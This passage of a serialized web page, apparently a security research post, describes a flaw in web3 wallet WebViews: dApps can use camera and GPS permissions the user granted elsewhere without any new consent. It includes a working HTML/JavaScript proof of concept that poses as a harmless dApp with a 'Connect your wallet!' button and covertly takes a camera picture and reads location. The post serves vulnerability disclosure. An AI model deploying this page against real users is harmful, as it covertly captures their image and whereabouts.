exploitation",{"type":24,"tag":25,"props":158185,"children":158186},{},[158187],{"type":29,"value":158188},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":24,"tag":25,"props":158190,"children":158191},{},[158192],{"type":29,"value":158193},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":24,"tag":25,"props":158195,"children":158196},{},[158197,158199,158206],{"type":29,"value":158198},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":24,"tag":101,"props":158200,"children":158203},{"href":158201,"rel":158202},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[105],[158204],{"type":29,"value":158205},"Justson",{"type":29,"value":158207},", used by a popular wallet in the Stellar ecosystem.",{"type":24,"tag":20134,"props":158209,"children":158210},{"id":40769},[158211],{"type":29,"value":36092},{"type":24,"tag":25,"props":158213,"children":158214},{},[158215],{"type":29,"value":158216},"In order to exploit this issue, we assume the following preconditions:",{"type":24,"tag":1786,"props":158218,"children":158219},{},[158220,158225,158230],{"type":24,"tag":1790,"props":158221,"children":158222},{},[158223],{"type":29,"value":158224},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":24,"tag":1790,"props":158226,"children":158227},{},[158228],{"type":29,"value":158229},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":24,"tag":1790,"props":158231,"children":158232},{},[158233],{"type":29,"value":158234},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":24,"tag":147,"props":158236,"children":158238},{"className":51293,"code":158237,"language":33644,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n \u003Cmeta charset=\"utf-8\">\n \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n \u003Ch2>Smile dApp :)\u003C/h2>\n \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n \u003Cpre id=\"gps\">\u003C/pre>\n \u003Cimg id=\"pic\">\n \u003Cscript>\n window.addEventListener('unhandledrejection', function (event) {\n alert(`Unhandled Promise Rejection: ${event.reason}`);\n });\n window.onerror = function (msg, url, line, col, error) {\n alert('onerror: ' + msg);\n return false;\n };\n\n async function main() {\n const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n const video = document.createElement(\"video\");\n video.srcObject = stream;\n const canvas = document.createElement(\"canvas\");\n\n video.onloadedmetadata = () => {\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n };\n\n connect.onclick = e => {\n video.play();\n\n canvas.getContext(\"2d\").drawImage(video, 0, 0);\n stream.getTracks().forEach(t => t.stop());\n canvas.toBlob((blob) => {\n pic.src = URL.createObjectURL(blob);\n });\n\n navigator.geolocation.getCurrentPosition(pos => {\n const c = pos.coords;\n gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n }, err => alert(err));\n };\n\n }\n main();\n \u003C/script>\n\u003C/body>\n\u003C/html>\n",[158239],{"type":24,"tag":154,"props":158240,"children":158241},{"__ignoreMap":7},[158242,158262,158277,158293,158323,158346,158361,158376,158408,158454,158490,158518,158533,158579,158625,158633,158701,158729,158744,158752,158759,158779,158839,158880,158909,158950,158957,158986,159024,159061,159068,159075,159108,159129,159136,159198,159254,159290,159336,159344,159351,159394,159427,159552,159585,159592,159599,159606,159618,159633,159648],{"type":24,"tag":158,"props":158243,"children":158244},{"class":160,"line":161},[158245,158249,158253,158258],{"type":24,"tag":158,"props":158246,"children":158247},{"style":33637},[158248],{"type":29,"value":35488},{"type":24,"tag":158,"props":158250,"children":158251},{"style":165},[158252],{"type":29,"value":35493},{"type":24,"tag":158,"props":158254,"children":158255},{"style":177},[158256],{"type":29,"value":158257}," html",{"type":24,"tag":158,"props":158259,"children":158260},{"style":33637},[158261],{"type":29,"value":7642},{"type":24,"tag":158,"props":158263,"children":158264},{"class":160,"line":213},[158265,158269,158273],{"type":24,"tag":158,"props":158266,"children":158267},{"style":33637},[158268],{"type":29,"value":3760},{"type":24,"tag":158,"props":158270,"children":158271},{"style":165},[158272],{"type":29,"value":33644},{"type":24,"tag":158,"props":158274,"children":158275},{"style":33637},[158276],{"type":29,"value":7642},{"type":24,"tag":158,"props":158278,"children":158279},{"class":160,"line":238},[158280,158284,158289],{"type":24,"tag":158,"props":158281,"children":158282},{"style":33637},[158283],{"type":29,"value":3760},{"type":24,"tag":158,"props":158285,"children":158286},{"style":165},[158287],{"type":29,"value":158288},"head",{"type":24,"tag":158,"props":158290,"children":158291},{"style":33637},[158292],{"type":29,"value":7642},{"type":24,"tag":158,"props":158294,"children":158295},{"class":160,"line":259},[158296,158300,158305,158310,158314,158319],{"type":24,"tag":158,"props":158297,"children":158298},{"style":33637},[158299],{"type":29,"value":33707},{"type":24,"tag":158,"props":158301,"children":158302},{"style":165},[158303],{"type":29,"value":158304},"meta",{"type":24,"tag":158,"props":158306,"children":158307},{"style":177},[158308],{"type":29,"value":158309}," charset",{"type":24,"tag":158,"props":158311,"children":158312},{"style":188},[158313],{"type":29,"value":1285},{"type":24,"tag":158,"props":158315,"children":158316},{"style":1108},[158317],{"type":29,"value":158318},"\"utf-8\"",{"type":24,"tag":158,"props":158320,"children":158321},{"style":33637},[158322],{"type":29,"value":7642},{"type":24,"tag":158,"props":158324,"children":158325},{"class":160,"line":280},[158326,158330,158334,158338,158342],{"type":24,"tag":158,"props":158327,"children":158328},{"style":33637},[158329],{"type":29,"value":33707},{"type":24,"tag":158,"props":158331,"children":158332},{"style":165},[158333],{"type":29,"value":35566},{"type":24,"tag":158,"props":158335,"children":158336},{"style":33637},[158337],{"type":29,"value":51337},{"type":24,"tag":158,"props":158339,"children":158340},{"style":165},[158341],{"type":29,"value":35566},{"type":24,"tag":158,"props":158343,"children":158344},{"style":33637},[158345],{"type":29,"value":7642},{"type":24,"tag":158,"props":158347,"children":158348},{"class":160,"line":301},[158349,158353,158357],{"type":24,"tag":158,"props":158350,"children":158351},{"style":33637},[158352],{"type":29,"value":33691},{"type":24,"tag":158,"props":158354,"children":158355},{"style":165},[158356],{"type":29,"value":158288},{"type":24,"tag":158,"props":158358,"children":158359},{"style":33637},[158360],{"type":29,"value":7642},{"type":24,"tag":158,"props":158362,"children":158363},{"class":160,"line":626},[158364,158368,158372],{"type":24,"tag":158,"props":158365,"children":158366},{"style":33637},[158367],{"type":29,"value":3760},{"type":24,"tag":158,"props":158369,"children":158370},{"style":165},[158371],{"type":29,"value":33661},{"type":24,"tag":158,"props":158373,"children":158374},{"style":33637},[158375],{"type":29,"value":7642},{"type":24,"tag":158,"props":158377,"children":158378},{"class":160,"line":668},[158379,158383,158387,158391,158396,158400,158404],{"type":24,"tag":158,"props":158380,"children":158381},{"style":33637},[158382],{"type":29,"value":33707},{"type":24,"tag":158,"props":158384,"children":158385},{"style":165},[158386],{"type":29,"value":59},{"type":24,"tag":158,"props":158388,"children":158389},{"style":33637},[158390],{"type":29,"value":1280},{"type":24,"tag":158,"props":158392,"children":158393},{"style":188},[158394],{"type":29,"value":158395},"Smile dApp :)",{"type":24,"tag":158,"props":158397,"children":158398},{"style":33637},[158399],{"type":29,"value":33691},{"type":24,"tag":158,"props":158401,"children":158402},{"style":165},[158403],{"type":29,"value":59},{"type":24,"tag":158,"props":158405,"children":158406},{"style":33637},[158407],{"type":29,"value":7642},{"type":24,"tag":158,"props":158409,"children":158410},{"class":160,"line":676},[158411,158415,158420,158424,158428,158433,158437,158442,158446,158450],{"type":24,"tag":158,"props":158412,"children":158413},{"style":33637},[158414],{"type":29,"value":33707},{"type":24,"tag":158,"props":158416,"children":158417},{"style":165},[158418],{"type":29,"value":158419},"button",{"type":24,"tag":158,"props":158421,"children":158422},{"style":177},[158423],{"type":29,"value":33717},{"type":24,"tag":158,"props":158425,"children":158426},{"style":188},[158427],{"type":29,"value":1285},{"type":24,"tag":158,"props":158429,"children":158430},{"style":1108},[158431],{"type":29,"value":158432},"\"connect\"",{"type":24,"tag":158,"props":158434,"children":158435},{"style":33637},[158436],{"type":29,"value":1280},{"type":24,"tag":158,"props":158438,"children":158439},{"style":188},[158440],{"type":29,"value":158441},"Connect your wallet!",{"type":24,"tag":158,"props":158443,"children":158444},{"style":33637},[158445],{"type":29,"value":33691},{"type":24,"tag":158,"props":158447,"children":158448},{"style":165},[158449],{"type":29,"value":158419},{"type":24,"tag":158,"props":158451,"children":158452},{"style":33637},[158453],{"type":29,"value":7642},{"type":24,"tag":158,"props":158455,"children":158456},{"class":160,"line":684},[158457,158461,158465,158469,158473,158478,158482,158486],{"type":24,"tag":158,"props":158458,"children":158459},{"style":33637},[158460],{"type":29,"value":33707},{"type":24,"tag":158,"props":158462,"children":158463},{"style":165},[158464],{"type":29,"value":147},{"type":24,"tag":158,"props":158466,"children":158467},{"style":177},[158468],{"type":29,"value":33717},{"type":24,"tag":158,"props":158470,"children":158471},{"style":188},[158472],{"type":29,"value":1285},{"type":24,"tag":158,"props":158474,"children":158475},{"style":1108},[158476],{"type":29,"value":158477},"\"gps\"",{"type":24,"tag":158,"props":158479,"children":158480},{"style":33637},[158481],{"type":29,"value":51337},{"type":24,"tag":158,"props":158483,"children":158484},{"style":165},[158485],{"type":29,"value":147},{"type":24,"tag":158,"props":158487,"children":158488},{"style":33637},[158489],{"type":29,"value":7642},{"type":24,"tag":158,"props":158491,"children":158492},{"class":160,"line":700},[158493,158497,158501,158505,158509,158514],{"type":24,"tag":158,"props":158494,"children":158495},{"style":33637},[158496],{"type":29,"value":33707},{"type":24,"tag":158,"props":158498,"children":158499},{"style":165},[158500],{"type":29,"value":84},{"type":24,"tag":158,"props":158502,"children":158503},{"style":177},[158504],{"type":29,"value":33717},{"type":24,"tag":158,"props":158506,"children":158507},{"style":188},[158508],{"type":29,"value":1285},{"type":24,"tag":158,"props":158510,"children":158511},{"style":1108},[158512],{"type":29,"value":158513},"\"pic\"",{"type":24,"tag":158,"props":158515,"children":158516},{"style":33637},[158517],{"type":29,"value":7642},{"type":24,"tag":158,"props":158519,"children":158520},{"class":160,"line":785},[158521,158525,158529],{"type":24,"tag":158,"props":158522,"children":158523},{"style":33637},[158524],{"type":29,"value":33707},{"type":24,"tag":158,"props":158526,"children":158527},{"style":165},[158528],{"type":29,"value":33677},{"type":24,"tag":158,"props":158530,"children":158531},{"style":33637},[158532],{"type":29,"value":7642},{"type":24,"tag":158,"props":158534,"children":158535},{"class":160,"line":1447},[158536,158541,158545,158550,158554,158559,158563,158567,158571,158575],{"type":24,"tag":158,"props":158537,"children":158538},{"style":177},[158539],{"type":29,"value":158540}," window",{"type":24,"tag":158,"props":158542,"children":158543},{"style":222},[158544],{"type":29,"value":347},{"type":24,"tag":158,"props":158546,"children":158547},{"style":496},[158548],{"type":29,"value":158549},"addEventListener",{"type":24,"tag":158,"props":158551,"children":158552},{"style":222},[158553],{"type":29,"value":504},{"type":24,"tag":158,"props":158555,"children":158556},{"style":1108},[158557],{"type":29,"value":158558},"'unhandledrejection'",{"type":24,"tag":158,"props":158560,"children":158561},{"style":222},[158562],{"type":29,"value":191},{"type":24,"tag":158,"props":158564,"children":158565},{"style":165},[158566],{"type":29,"value":32638},{"type":24,"tag":158,"props":158568,"children":158569},{"style":222},[158570],{"type":29,"value":2262},{"type":24,"tag":158,"props":158572,"children":158573},{"style":177},[158574],{"type":29,"value":83406},{"type":24,"tag":158,"props":158576,"children":158577},{"style":222},[158578],{"type":29,"value":16038},{"type":24,"tag":158,"props":158580,"children":158581},{"class":160,"line":1509},[158582,158587,158591,158596,158600,158604,158608,158613,158617,158621],{"type":24,"tag":158,"props":158583,"children":158584},{"style":496},[158585],{"type":29,"value":158586}," alert",{"type":24,"tag":158,"props":158588,"children":158589},{"style":222},[158590],{"type":29,"value":504},{"type":24,"tag":158,"props":158592,"children":158593},{"style":1108},[158594],{"type":29,"value":158595},"`Unhandled Promise Rejection: ",{"type":24,"tag":158,"props":158597,"children":158598},{"style":165},[158599],{"type":29,"value":35371},{"type":24,"tag":158,"props":158601,"children":158602},{"style":177},[158603],{"type":29,"value":83406},{"type":24,"tag":158,"props":158605,"children":158606},{"style":222},[158607],{"type":29,"value":347},{"type":24,"tag":158,"props":158609,"children":158610},{"style":177},[158611],{"type":29,"value":158612},"reason",{"type":24,"tag":158,"props":158614,"children":158615},{"style":165},[158616],{"type":29,"value":35403},{"type":24,"tag":158,"props":158618,"children":158619},{"style":1108},[158620],{"type":29,"value":1200},{"type":24,"tag":158,"props":158622,"children":158623},{"style":222},[158624],{"type":29,"value":1071},{"type":24,"tag":158,"props":158626,"children":158627},{"class":160,"line":1527},[158628],{"type":24,"tag":158,"props":158629,"children":158630},{"style":222},[158631],{"type":29,"value":158632}," });\n",{"type":24,"tag":158,"props":158634,"children":158635},{"class":160,"line":1545},[158636,158640,158644,158648,158652,158656,158660,158664,158668,158672,158676,158680,158684,158689,158693,158697],{"type":24,"tag":158,"props":158637,"children":158638},{"style":177},[158639],{"type":29,"value":158540},{"type":24,"tag":158,"props":158641,"children":158642},{"style":222},[158643],{"type":29,"value":347},{"type":24,"tag":158,"props":158645,"children":158646},{"style":496},[158647],{"type":29,"value":33950},{"type":24,"tag":158,"props":158649,"children":158650},{"style":222},[158651],{"type":29,"value":34173},{"type":24,"tag":158,"props":158653,"children":158654},{"style":165},[158655],{"type":29,"value":32638},{"type":24,"tag":158,"props":158657,"children":158658},{"style":222},[158659],{"type":29,"value":2262},{"type":24,"tag":158,"props":158661,"children":158662},{"style":177},[158663],{"type":29,"value":59219},{"type":24,"tag":158,"props":158665,"children":158666},{"style":222},[158667],{"type":29,"value":191},{"type":24,"tag":158,"props":158669,"children":158670},{"style":177},[158671],{"type":29,"value":71653},{"type":24,"tag":158,"props":158673,"children":158674},{"style":222},[158675],{"type":29,"value":191},{"type":24,"tag":158,"props":158677,"children":158678},{"style":177},[158679],{"type":29,"value":160},{"type":24,"tag":158,"props":158681,"children":158682},{"style":222},[158683],{"type":29,"value":191},{"type":24,"tag":158,"props":158685,"children":158686},{"style":177},[158687],{"type":29,"value":158688},"col",{"type":24,"tag":158,"props":158690,"children":158691},{"style":222},[158692],{"type":29,"value":191},{"type":24,"tag":158,"props":158694,"children":158695},{"style":177},[158696],{"type":29,"value":16098},{"type":24,"tag":158,"props":158698,"children":158699},{"style":222},[158700],{"type":29,"value":16038},{"type":24,"tag":158,"props":158702,"children":158703},{"class":160,"line":1618},[158704,158708,158712,158717,158721,158725],{"type":24,"tag":158,"props":158705,"children":158706},{"style":496},[158707],{"type":29,"value":158586},{"type":24,"tag":158,"props":158709,"children":158710},{"style":222},[158711],{"type":29,"value":504},{"type":24,"tag":158,"props":158713,"children":158714},{"style":1108},[158715],{"type":29,"value":158716},"'onerror: '",{"type":24,"tag":158,"props":158718,"children":158719},{"style":222},[158720],{"type":29,"value":35959},{"type":24,"tag":158,"props":158722,"children":158723},{"style":177},[158724],{"type":29,"value":59219},{"type":24,"tag":158,"props":158726,"children":158727},{"style":222},[158728],{"type":29,"value":1071},{"type":24,"tag":158,"props":158730,"children":158731},{"class":160,"line":1635},[158732,158736,158740],{"type":24,"tag":158,"props":158733,"children":158734},{"style":1914},[158735],{"type":29,"value":80354},{"type":24,"tag":158,"props":158737,"children":158738},{"style":165},[158739],{"type":29,"value":859},{"type":24,"tag":158,"props":158741,"children":158742},{"style":222},[158743],{"type":29,"value":473},{"type":24,"tag":158,"props":158745,"children":158746},{"class":160,"line":1644},[158747],{"type":24,"tag":158,"props":158748,"children":158749},{"style":222},[158750],{"type":29,"value":158751}," };\n",{"type":24,"tag":158,"props":158753,"children":158754},{"class":160,"line":1652},[158755],{"type":24,"tag":158,"props":158756,"children":158757},{"emptyLinePlaceholder":16},[158758],{"type":29,"value":481},{"type":24,"tag":158,"props":158760,"children":158761},{"class":160,"line":1704},[158762,158767,158771,158775],{"type":24,"tag":158,"props":158763,"children":158764},{"style":165},[158765],{"type":29,"value":158766}," async",{"type":24,"tag":158,"props":158768,"children":158769},{"style":165},[158770],{"type":29,"value":39478},{"type":24,"tag":158,"props":158772,"children":158773},{"style":496},[158774],{"type":29,"value":92058},{"type":24,"tag":158,"props":158776,"children":158777},{"style":222},[158778],{"type":29,"value":16972},{"type":24,"tag":158,"props":158780,"children":158781},{"class":160,"line":1713},[158782,158786,158791,158795,158799,158804,158808,158813,158817,158822,158826,158831,158835],{"type":24,"tag":158,"props":158783,"children":158784},{"style":165},[158785],{"type":29,"value":152312},{"type":24,"tag":158,"props":158787,"children":158788},{"style":177},[158789],{"type":29,"value":158790}," stream",{"type":24,"tag":158,"props":158792,"children":158793},{"style":222},[158794],{"type":29,"value":34173},{"type":24,"tag":158,"props":158796,"children":158797},{"style":1914},[158798],{"type":29,"value":34178},{"type":24,"tag":158,"props":158800,"children":158801},{"style":177},[158802],{"type":29,"value":158803}," navigator",{"type":24,"tag":158,"props":158805,"children":158806},{"style":222},[158807],{"type":29,"value":347},{"type":24,"tag":158,"props":158809,"children":158810},{"style":177},[158811],{"type":29,"value":158812},"mediaDevices",{"type":24,"tag":158,"props":158814,"children":158815},{"style":222},[158816],{"type":29,"value":347},{"type":24,"tag":158,"props":158818,"children":158819},{"style":496},[158820],{"type":29,"value":158821},"getUserMedia",{"type":24,"tag":158,"props":158823,"children":158824},{"style":222},[158825],{"type":29,"value":32759},{"type":24,"tag":158,"props":158827,"children":158828},{"style":177},[158829],{"type":29,"value":158830},"video:",{"type":24,"tag":158,"props":158832,"children":158833},{"style":165},[158834],{"type":29,"value":3354},{"type":24,"tag":158,"props":158836,"children":158837},{"style":222},[158838],{"type":29,"value":40099},{"type":24,"tag":158,"props":158840,"children":158841},{"class":160,"line":1731},[158842,158846,158851,158855,158859,158863,158867,158871,158876],{"type":24,"tag":158,"props":158843,"children":158844},{"style":165},[158845],{"type":29,"value":152312},{"type":24,"tag":158,"props":158847,"children":158848},{"style":177},[158849],{"type":29,"value":158850}," video",{"type":24,"tag":158,"props":158852,"children":158853},{"style":222},[158854],{"type":29,"value":34173},{"type":24,"tag":158,"props":158856,"children":158857},{"style":177},[158858],{"type":29,"value":33969},{"type":24,"tag":158,"props":158860,"children":158861},{"style":222},[158862],{"type":29,"value":347},{"type":24,"tag":158,"props":158864,"children":158865},{"style":496},[158866],{"type":29,"value":37985},{"type":24,"tag":158,"props":158868,"children":158869},{"style":222},[158870],{"type":29,"value":504},{"type":24,"tag":158,"props":158872,"children":158873},{"style":1108},[158874],{"type":29,"value":158875},"\"video\"",{"type":24,"tag":158,"props":158877,"children":158878},{"style":222},[158879],{"type":29,"value":1071},{"type":24,"tag":158,"props":158881,"children":158882},{"class":160,"line":5485},[158883,158888,158892,158897,158901,158905],{"type":24,"tag":158,"props":158884,"children":158885},{"style":177},[158886],{"type":29,"value":158887}," video",{"type":24,"tag":158,"props":158889,"children":158890},{"style":222},[158891],{"type":29,"value":347},{"type":24,"tag":158,"props":158893,"children":158894},{"style":177},[158895],{"type":29,"value":158896},"srcObject",{"type":24,"tag":158,"props":158898,"children":158899},{"style":222},[158900],{"type":29,"value":34173},{"type":24,"tag":158,"props":158902,"children":158903},{"style":177},[158904],{"type":29,"value":37525},{"type":24,"tag":158,"props":158906,"children":158907},{"style":222},[158908],{"type":29,"value":473},{"type":24,"tag":158,"props":158910,"children":158911},{"class":160,"line":5493},[158912,158916,158921,158925,158929,158933,158937,158941,158946],{"type":24,"tag":158,"props":158913,"children":158914},{"style":165},[158915],{"type":29,"value":152312},{"type":24,"tag":158,"props":158917,"children":158918},{"style":177},[158919],{"type":29,"value":158920}," canvas",{"type":24,"tag":158,"props":158922,"children":158923},{"style":222},[158924],{"type":29,"value":34173},{"type":24,"tag":158,"props":158926,"children":158927},{"style":177},[158928],{"type":29,"value":33969},{"type":24,"tag":158,"props":158930,"children":158931},{"style":222},[158932],{"type":29,"value":347},{"type":24,"tag":158,"props":158934,"children":158935},{"style":496},[158936],{"type":29,"value":37985},{"type":24,"tag":158,"props":158938,"children":158939},{"style":222},[158940],{"type":29,"value":504},{"type":24,"tag":158,"props":158942,"children":158943},{"style":1108},[158944],{"type":29,"value":158945},"\"canvas\"",{"type":24,"tag":158,"props":158947,"children":158948},{"style":222},[158949],{"type":29,"value":1071},{"type":24,"tag":158,"props":158951,"children":158952},{"class":160,"line":5553},[158953],{"type":24,"tag":158,"props":158954,"children":158955},{"emptyLinePlaceholder":16},[158956],{"type":29,"value":481},{"type":24,"tag":158,"props":158958,"children":158959},{"class":160,"line":10636},[158960,158964,158968,158973,158978,158982],{"type":24,"tag":158,"props":158961,"children":158962},{"style":177},[158963],{"type":29,"value":158887},{"type":24,"tag":158,"props":158965,"children":158966},{"style":222},[158967],{"type":29,"value":347},{"type":24,"tag":158,"props":158969,"children":158970},{"style":496},[158971],{"type":29,"value":158972},"onloadedmetadata",{"type":24,"tag":158,"props":158974,"children":158975},{"style":222},[158976],{"type":29,"value":158977}," = () ",{"type":24,"tag":158,"props":158979,"children":158980},{"style":165},[158981],{"type":29,"value":16056},{"type":24,"tag":158,"props":158983,"children":158984},{"style":222},[158985],{"type":29,"value":210},{"type":24,"tag":158,"props":158987,"children":158988},{"class":160,"line":10652},[158989,158994,158998,159003,159007,159011,159015,159020],{"type":24,"tag":158,"props":158990,"children":158991},{"style":177},[158992],{"type":29,"value":158993}," canvas",{"type":24,"tag":158,"props":158995,"children":158996},{"style":222},[158997],{"type":29,"value":347},{"type":24,"tag":158,"props":158999,"children":159000},{"style":177},[159001],{"type":29,"value":159002},"width",{"type":24,"tag":158,"props":159004,"children":159005},{"style":222},[159006],{"type":29,"value":34173},{"type":24,"tag":158,"props":159008,"children":159009},{"style":177},[159010],{"type":29,"value":133136},{"type":24,"tag":158,"props":159012,"children":159013},{"style":222},[159014],{"type":29,"value":347},{"type":24,"tag":158,"props":159016,"children":159017},{"style":177},[159018],{"type":29,"value":159019},"videoWidth",{"type":24,"tag":158,"props":159021,"children":159022},{"style":222},[159023],{"type":29,"value":473},{"type":24,"tag":158,"props":159025,"children":159026},{"class":160,"line":10696},[159027,159031,159035,159040,159044,159048,159052,159057],{"type":24,"tag":158,"props":159028,"children":159029},{"style":177},[159030],{"type":29,"value":158993},{"type":24,"tag":158,"props":159032,"children":159033},{"style":222},[159034],{"type":29,"value":347},{"type":24,"tag":158,"props":159036,"children":159037},{"style":177},[159038],{"type":29,"value":159039},"height",{"type":24,"tag":158,"props":159041,"children":159042},{"style":222},[159043],{"type":29,"value":34173},{"type":24,"tag":158,"props":159045,"children":159046},{"style":177},[159047],{"type":29,"value":133136},{"type":24,"tag":158,"props":159049,"children":159050},{"style":222},[159051],{"type":29,"value":347},{"type":24,"tag":158,"props":159053,"children":159054},{"style":177},[159055],{"type":29,"value":159056},"videoHeight",{"type":24,"tag":158,"props":159058,"children":159059},{"style":222},[159060],{"type":29,"value":473},{"type":24,"tag":158,"props":159062,"children":159063},{"class":160,"line":10801},[159064],{"type":24,"tag":158,"props":159065,"children":159066},{"style":222},[159067],{"type":29,"value":49345},{"type":24,"tag":158,"props":159069,"children":159070},{"class":160,"line":24754},[159071],{"type":24,"tag":158,"props":159072,"children":159073},{"emptyLinePlaceholder":16},[159074],{"type":29,"value":481},{"type":24,"tag":158,"props":159076,"children":159077},{"class":160,"line":24789},[159078,159083,159087,159092,159096,159100,159104],{"type":24,"tag":158,"props":159079,"children":159080},{"style":177},[159081],{"type":29,"value":159082}," connect",{"type":24,"tag":158,"props":159084,"children":159085},{"style":222},[159086],{"type":29,"value":347},{"type":24,"tag":158,"props":159088,"children":159089},{"style":496},[159090],{"type":29,"value":159091},"onclick",{"type":24,"tag":158,"props":159093,"children":159094},{"style":222},[159095],{"type":29,"value":34173},{"type":24,"tag":158,"props":159097,"children":159098},{"style":177},[159099],{"type":29,"value":52726},{"type":24,"tag":158,"props":159101,"children":159102},{"style":165},[159103],{"type":29,"value":29010},{"type":24,"tag":158,"props":159105,"children":159106},{"style":222},[159107],{"type":29,"value":210},{"type":24,"tag":158,"props":159109,"children":159110},{"class":160,"line":24797},[159111,159116,159120,159125],{"type":24,"tag":158,"props":159112,"children":159113},{"style":177},[159114],{"type":29,"value":159115}," video",{"type":24,"tag":158,"props":159117,"children":159118},{"style":222},[159119],{"type":29,"value":347},{"type":24,"tag":158,"props":159121,"children":159122},{"style":496},[159123],{"type":29,"value":159124},"play",{"type":24,"tag":158,"props":159126,"children":159127},{"style":222},[159128],{"type":29,"value":5329},{"type":24,"tag":158,"props":159130,"children":159131},{"class":160,"line":24805},[159132],{"type":24,"tag":158,"props":159133,"children":159134},{"emptyLinePlaceholder":16},[159135],{"type":29,"value":481},{"type":24,"tag":158,"props":159137,"children":159138},{"class":160,"line":24814},[159139,159143,159147,159152,159156,159161,159165,159170,159174,159178,159182,159186,159190,159194],{"type":24,"tag":158,"props":159140,"children":159141},{"style":177},[159142],{"type":29,"value":158993},{"type":24,"tag":158,"props":159144,"children":159145},{"style":222},[159146],{"type":29,"value":347},{"type":24,"tag":158,"props":159148,"children":159149},{"style":496},[159150],{"type":29,"value":159151},"getContext",{"type":24,"tag":158,"props":159153,"children":159154},{"style":222},[159155],{"type":29,"value":504},{"type":24,"tag":158,"props":159157,"children":159158},{"style":1108},[159159],{"type":29,"value":159160},"\"2d\"",{"type":24,"tag":158,"props":159162,"children":159163},{"style":222},[159164],{"type":29,"value":21986},{"type":24,"tag":158,"props":159166,"children":159167},{"style":496},[159168],{"type":29,"value":159169},"drawImage",{"type":24,"tag":158,"props":159171,"children":159172},{"style":222},[159173],{"type":29,"value":504},{"type":24,"tag":158,"props":159175,"children":159176},{"style":177},[159177],{"type":29,"value":133136},{"type":24,"tag":158,"props":159179,"children":159180},{"style":222},[159181],{"type":29,"value":191},{"type":24,"tag":158,"props":159183,"children":159184},{"style":465},[159185],{"type":29,"value":5682},{"type":24,"tag":158,"props":159187,"children":159188},{"style":222},[159189],{"type":29,"value":191},{"type":24,"tag":158,"props":159191,"children":159192},{"style":465},[159193],{"type":29,"value":5682},{"type":24,"tag":158,"props":159195,"children":159196},{"style":222},[159197],{"type":29,"value":1071},{"type":24,"tag":158,"props":159199,"children":159200},{"class":160,"line":24856},[159201,159206,159210,159215,159219,159224,159228,159232,159236,159241,159245,159250],{"type":24,"tag":158,"props":159202,"children":159203},{"style":177},[159204],{"type":29,"value":159205}," stream",{"type":24,"tag":158,"props":159207,"children":159208},{"style":222},[159209],{"type":29,"value":347},{"type":24,"tag":158,"props":159211,"children":159212},{"style":496},[159213],{"type":29,"value":159214},"getTracks",{"type":24,"tag":158,"props":159216,"children":159217},{"style":222},[159218],{"type":29,"value":31428},{"type":24,"tag":158,"props":159220,"children":159221},{"style":496},[159222],{"type":29,"value":159223},"forEach",{"type":24,"tag":158,"props":159225,"children":159226},{"style":222},[159227],{"type":29,"value":504},{"type":24,"tag":158,"props":159229,"children":159230},{"style":177},[159231],{"type":29,"value":22974},{"type":24,"tag":158,"props":159233,"children":159234},{"style":165},[159235],{"type":29,"value":29010},{"type":24,"tag":158,"props":159237,"children":159238},{"style":177},[159239],{"type":29,"value":159240}," t",{"type":24,"tag":158,"props":159242,"children":159243},{"style":222},[159244],{"type":29,"value":347},{"type":24,"tag":158,"props":159246,"children":159247},{"style":496},[159248],{"type":29,"value":159249},"stop",{"type":24,"tag":158,"props":159251,"children":159252},{"style":222},[159253],{"type":29,"value":16660},{"type":24,"tag":158,"props":159255,"children":159256},{"class":160,"line":24889},[159257,159261,159265,159270,159274,159278,159282,159286],{"type":24,"tag":158,"props":159258,"children":159259},{"style":177},[159260],{"type":29,"value":158993},{"type":24,"tag":158,"props":159262,"children":159263},{"style":222},[159264],{"type":29,"value":347},{"type":24,"tag":158,"props":159266,"children":159267},{"style":496},[159268],{"type":29,"value":159269},"toBlob",{"type":24,"tag":158,"props":159271,"children":159272},{"style":222},[159273],{"type":29,"value":32784},{"type":24,"tag":158,"props":159275,"children":159276},{"style":177},[159277],{"type":29,"value":34210},{"type":24,"tag":158,"props":159279,"children":159280},{"style":222},[159281],{"type":29,"value":723},{"type":24,"tag":158,"props":159283,"children":159284},{"style":165},[159285],{"type":29,"value":16056},{"type":24,"tag":158,"props":159287,"children":159288},{"style":222},[159289],{"type":29,"value":210},{"type":24,"tag":158,"props":159291,"children":159292},{"class":160,"line":24897},[159293,159298,159302,159306,159310,159315,159319,159324,159328,159332],{"type":24,"tag":158,"props":159294,"children":159295},{"style":177},[159296],{"type":29,"value":159297}," 